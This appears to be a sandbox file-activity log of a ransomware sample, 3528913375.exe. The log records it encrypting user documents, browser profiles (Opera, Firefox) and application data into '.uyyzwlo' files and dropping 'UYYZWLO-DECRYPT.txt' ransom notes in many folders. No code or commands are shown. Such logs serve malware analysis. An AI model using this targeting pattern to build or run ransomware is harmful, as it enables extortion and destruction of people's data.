2544 3528913375.exe C:\Users\admin\Documents\OneNote Notebooks\Personal\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\Documents\nakedsearch.rtf ––
2544 3528913375.exe C:\Users\admin\Documents\livesuntil.rtf ––
2544 3528913375.exe C:\Users\admin\Desktop\typelife.png.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Documents\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\Desktop\twowomen.jpg.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Desktop\wherefew.rtf.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Desktop\twowomen.jpg ––
2544 3528913375.exe C:\Users\admin\Desktop\typelife.png ––
2544 3528913375.exe C:\Users\admin\Desktop\wherefew.rtf ––
2544 3528913375.exe C:\Users\admin\Desktop\policyface.rtf.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Desktop\thuleading.png.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Desktop\phasefeatures.jpg.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Desktop\sawpack.rtf.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Desktop\sawpack.rtf ––
2544 3528913375.exe C:\Users\admin\Desktop\thuleading.png ––
2544 3528913375.exe C:\Users\admin\Desktop\policyface.rtf ––
2544 3528913375.exe C:\Users\admin\Desktop\phasefeatures.jpg ––
2544 3528913375.exe C:\Users\admin\Desktop\mendead.rtf.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Desktop\novs.rtf.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Desktop\ipanti.jpg.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Desktop\mendead.rtf ––
2544 3528913375.exe C:\Users\admin\Desktop\novs.rtf ––
2544 3528913375.exe C:\Users\admin\Desktop\ipanti.jpg ––
2544 3528913375.exe C:\Users\admin\Desktop\inputthread.rtf.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Desktop\if.jpg.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Desktop\if.jpg ––
2544 3528913375.exe C:\Users\admin\Desktop\inputthread.rtf ––
2544 3528913375.exe C:\Users\admin\Desktop\animalalways.rtf.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Desktop\chinaway.png.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Desktop\chinaway.png ––
2544 3528913375.exe C:\Users\admin\Desktop\animalalways.rtf ––
2544 3528913375.exe C:\Users\admin\Desktop\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\Contacts\admin.contact.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\Contacts\admin.contact ––
2544 3528913375.exe C:\Users\admin\Contacts\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\WinRAR\version.dat.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\WinRAR\version.dat ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Sun\Java\Deployment\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\ul.conf.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\skypert.conf.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\WinRAR\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Sun\Java\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Sun\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\ul.conf ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\skypert.conf ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\shared_httpfe\queue.db.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\ecs.conf.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\SkypeRT\ecs.conf ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\shared_httpfe\queue.db ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\shared_dynco\dc.db-journal.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\shared_httpfe\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\shared_dynco\dc.db.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\shared_dynco\dc.db ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\shared_dynco\dc.db-journal ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\DataRv\offline-storage.data.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\shared.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\shared_dynco\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\logs\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\shared.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\DataRv\offline-storage.data ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\vlink4.dat.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\DataRv\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\webserver\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Skype\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\webserver\users.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\wand.dat.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\webserver\users.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\wand.dat ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\typed_history.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\tips.ini.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\vlink4.dat ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\typed_history.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\tips.ini ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\tasks.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\tasks.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\toc.css.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\toc.css ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\tablelayout.css.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\tablelayout.css ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structuretables.css.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structuretables.css ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structureinline.css.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structureinline.css ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structureblock.css.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\structureblock.css ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\outline.css.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\outline.css ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disabletables.css.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disabletables.css ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablepositioning.css.uyyzwlo pgc
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablepositioning.css ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disableforms.css.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disableforms.css ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablefloats.css.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablefloats.css ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablebreaks.css.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\disablebreaks.css ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\contrastwb.css.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\contrastwb.css ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\classid.css.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\contrastbw.css.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\contrastbw.css ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\classid.css ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\altdebugger.css.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\altdebugger.css ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\accessibility.css.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\user\accessibility.css ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\styles\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\sessions\autosave.win.bak.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\speeddial.ini.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\sessions\autosave.win.bak ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\speeddial.ini ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\sessions\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\sessions\autosave.win.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opuntrust.dat.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\sessions\autosave.win ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opuntrust.dat ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\optrust.dat.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\optrust.dat ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opthumb.dat.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opthumb.dat ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opssl6.dat.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opssl6.dat ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\oprand.dat.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\oprand.dat ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opicacrt6.dat.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opicacrt6.dat ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\operaprefs.ini.uyyzwlo gpg
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\operaprefs.ini ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opcert6.dat.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opcert6.dat ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opcacrt6.dat.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\opcacrt6.dat ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\handlers.ini.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\handlers.ini ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\global_history.dat.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\global_history.dat ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\download.dat.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\download.dat ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\cookies4.dat.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\cookies4.dat ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\bookmarks.adr.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\bookmarks.adr ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\Opera\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Opera\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Zenburn.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Zenburn.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\vim Dark Blue.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\vim Dark Blue.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Vibrant Ink.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Vibrant Ink.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Twilight.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Twilight.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Solarized.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Solarized.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Solarized-light.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Solarized-light.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Ruby Blue.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Ruby Blue.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Plastic Code Wrap.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Plastic Code Wrap.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Obsidian.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Obsidian.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Navajo.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Navajo.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\MossyLawn.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\MossyLawn.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Monokai.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Monokai.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Mono Industrial.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Mono Industrial.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\khaki.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\khaki.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\HotFudgeSundae.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\HotFudgeSundae.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Hello Kitty.xml.uyyzwlo fli
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Hello Kitty.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Deep Black.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Deep Black.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Choco.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Choco.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Black board.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Black board.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Bespin.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\Bespin.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\themes\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\plugins\config\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\plugins\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\functionList.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\functionList.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\contextMenu.xml.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\contextMenu.xml ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Notepad++\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\profiles.ini.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\SystemExtensionsDev\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\profiles.ini ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\xulstore.json.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\xulstore.json ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\webappsstore.sqlite.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\webappsstore.sqlite ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\toFetch\tabs.json.uyyzwlo fli
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\toFetch\tabs.json ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\toFetch\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\failed\tabs.json.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\failed\tabs.json ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\times.json.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\failed\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\weave\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\times.json ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage.sqlite.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage.sqlite ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\727688008bsleotcakcliifsittsr%.sqlite.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\temporary\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\727688008bsleotcakcliifsittsr%.sqlite ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\727688008bsleotcakcliifsittsr%.files\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3899588440psinninpiFn2g%.sqlite.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3899588440psinninpiFn2g%.sqlite ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3899588440psinninpiFn2g%.files\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3561288849sdhlie.sqlite.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3561288849sdhlie.sqlite ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3561288849sdhlie.files\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3345959086bslnoocdkdlaiFs2t%s.sqlite.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3345959086bslnoocdkdlaiFs2t%s.sqlite ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\2918063365piupsah.sqlite.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3345959086bslnoocdkdlaiFs2t%s.files\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\2918063365piupsah.sqlite ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1725441852bxlfogcFk2l%isst.sqlite.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\2918063365piupsah.files\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1725441852bxlfogcFk2l%isst.sqlite ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1725441852bxlfogcFk2l%isst.files\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1059394878bslnoicgkullipsFt2s%.sqlite.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1059394878bslnoicgkullipsFt2s%.sqlite ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\.metadata-v2.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\1059394878bslnoicgkullipsFt2s%.files\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\.metadata-v2 ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\.metadata.uyyzwlo binary
3248 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SL3PNN9VLDS59EPX0V1K.temp ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\.metadata ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.sqlite ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.files\journals\UYYZWLO-DECRYPT.txt text
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.files\1.uyyzwlo ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\3312185054sbndi_pspte.files\1 ––
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\.metadata-v2.uyyzwlo binary
2544 3528913375.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\default\about+newtab\idb\UYYZWLO-DECRYPT.txt text
